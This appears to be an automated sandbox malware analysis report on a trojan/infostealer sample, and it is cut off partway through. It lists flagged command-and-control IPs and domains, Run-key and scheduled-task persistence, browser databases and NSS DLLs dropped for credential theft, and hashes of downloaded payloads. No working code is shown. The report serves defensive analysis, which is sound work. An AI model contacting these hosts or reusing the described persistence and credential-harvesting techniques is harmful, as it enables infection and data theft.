http://anglebug.com/3624	chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.33.116	property-imper.sbs	United States	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	true

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561628
Start date and time:	2024-11-24 02:12:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 21m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	76
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@147/87@118/10
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.17.46, 74.125.205.84, 34.104.35.123, 172.217.21.35, 178.79.238.0, 192.229.221.95, 52.12.64.98, 34.209.229.249, 35.164.125.63, 23.218.210.69, 23.206.96.222, 20.44.10.123, 172.217.19.234, 172.217.19.202, 142.250.181.42, 142.250.181.74, 142.250.181.106, 172.217.21.42, 172.217.17.42, 142.250.181.138, 172.217.17.74, 172.217.19.170, 172.217.17.78, 88.221.134.155, 88.221.134.209, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.217.17.35, 13.89.179.8, 23.50.131.71, 23.50.131.72, 20.189.173.10, 2.20.41.214, 20.42.73.26
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, aus5.mozilla.org, learn.microsoft.com, e11290.dspg.akamaiedge.net, a19.dscg10.akamai.net, clients2.google.com, ocsp.digicert.com, login.live.com, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, update.googleapis.com, onedscolprdeus09.eastus.cloudapp.azure.com, www.gstatic.com, fs.microsoft.com, shavar.prod.mozaws.net, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, learn.microsoft.com.edgekey.net.globalredir.akadns.net, edgedl.me.gvt1.com, c.bing.com, umwatson.events.data.microsoft.com, clients.l.google.com, location.services.mozilla.com, ciscobinary.openh264.org, c-msn-com-nsatc.trafficmanager.net, incoming.telemetry.mozilla.org, a17.rackcdn.com.mdc.edgesuite.net, onedscolprdcus05.centralus.cloudapp.azure.com, mdec.nelreports.net.akamaized.net, go.microsoft.com, redirector.gvt1.com, a1883.dscd.akamai.net, ocsp.edge.digice
Execution Graph export aborted for target DocumentsJKEGIDGDGH.exe, PID 7764 because it is empty
Execution Graph export aborted for target file.exe, PID 6924 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1196 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1868 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3668 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6580 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8036 because it is empty
Execution Graph export aborted for target skotes.exe, PID 3332 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:13:43	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
01:14:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 32eab1d1d8.exe C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe
01:14:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 10d8464898.exe C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe
01:15:05	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8236bedaa4.exe C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe
01:15:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ef3d6a004b.exe C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe
01:15:23	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 32eab1d1d8.exe C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe
01:15:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 10d8464898.exe C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe
01:15:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8236bedaa4.exe C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe
01:15:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ef3d6a004b.exe C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe
01:16:00	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
20:13:28	API Interceptor	68x Sleep call for process: file.exe modified
20:13:47	API Interceptor	16154319x Sleep call for process: skotes.exe modified
20:14:12	API Interceptor	186x Sleep call for process: powershell.exe modified
20:14:35	API Interceptor	312483x Sleep call for process: 5ff77f639c.exe modified
20:14:47	API Interceptor	852x Sleep call for process: 32eab1d1d8.exe modified

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKKJKFBKKECFHJKEBKEHIDAEBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFCBKKKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHDAFBFCFHIDAKFIIEBAAEHIJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCAKKEGCAAFHJJJDBKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDBKFHIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJJJKFIIIJJJECAAEHDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ef3d6a004b.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DcDqduU[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\gok44[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2832384
Entropy (8bit):	6.461708622667957
Encrypted:	false
SSDEEP:	49152:ltCo8LSoRZulJhS6oBQUbzu2InEB/cPxf:lQLrfulJhS6CQUbzdInDf
MD5:	F2742A9288B543DFD082FE555FC135E7
SHA1:	3324370E94527FCF80EF571F9C1819D59B0B2F23
SHA-256:	DACE3504559FCA2BA342FA83836E916775514060F4772CDEB263B91906A23D46
SHA-512:	8BCD629E3D52F6F89B068169717D060BE2A2FAD5230D86E5B1844A3C55D8E0830BF331A92D7F6E1E88F2F8B876823F0D9DFCC77F98F6DB1ED86FD8DAA1C8AD23
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...rqwfzwob...........:..............@...llcfprjm. ....+.......+.............@....taggant.@....+.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\x0xqqzB[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
